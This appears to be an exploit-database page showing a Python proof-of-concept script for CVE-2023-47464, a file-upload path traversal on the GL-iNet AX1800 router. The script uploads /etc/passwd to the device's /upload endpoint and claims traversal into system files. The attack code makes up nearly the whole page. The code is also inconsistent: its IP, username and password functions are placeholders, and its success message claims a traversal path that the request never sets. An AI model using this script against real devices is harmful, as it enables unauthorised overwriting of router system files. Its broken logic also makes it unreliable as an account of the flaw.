4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-47464.py PY
import argparse
import requests

BANNER = """
  ____  _                _       ____       _   _             
 / ___|(_)_ __ ___ _ __ | |_ ___|  _ \ ___ | |_(_) ___  _ __  
 \___ \| | '__/ _ \ '_ \| __/ _ \ |_) / _ \| __| |/ _ \| '_ \ 
  ___) | | | |  __/ | | | ||  __/  __/ (_) | |_| | (_) | | | |
 |____/|_|_|  \___|_| |_|\__\___|_|   \___/ \__|_|\___/|_| |_|
"""

def print_banner():
    print(BANNER)
    print("GL-iNet-AX1800 CVE-2023-47464")

def get_instance_ip():
    # You need to implement this function to fetch the instance IP
    return "192.168.1.1"

def exploit():
    instance_ip = get_instance_ip()
    url = f"http://{instance_ip}/upload"
    files = {'path': ('/etc/passwd', open('/etc/passwd', 'rb'))} # adjust path if necessary
    response = requests.post(url, files=files)
    if response.status_code == 200:
        print("Exploit successful! Check /tmp/../../../../../etc/passwd on the device.")
    else:
        print("Exploit failed.")

def main():
    parser = argparse.ArgumentParser(description="GL-iNet-AX1800 CVE-2023-47464 Exploit Script")
    parser.add_argument('-ip', action='store_true', help="Get GL-iNet-AX1800 instance IP")
    parser.add_argument('--username', action='store_true', help="Get username")
    parser.add_argument('--password', action='store_true', help="Get password")
    parser.add_argument('--check', action='store_true', help="Check for exploit")
    
    args = parser.parse_args()
    
    if args.ip:
        print("Instance IP:", get_instance_ip())
    elif args.username:
        print("Username: [Your Username]")
    elif args.password:
        print("Password: [Your Password]")
    elif args.check:
        exploit()
    else:
        print_banner()
        parser.print_help()

if __name__ == "__main__":
    main()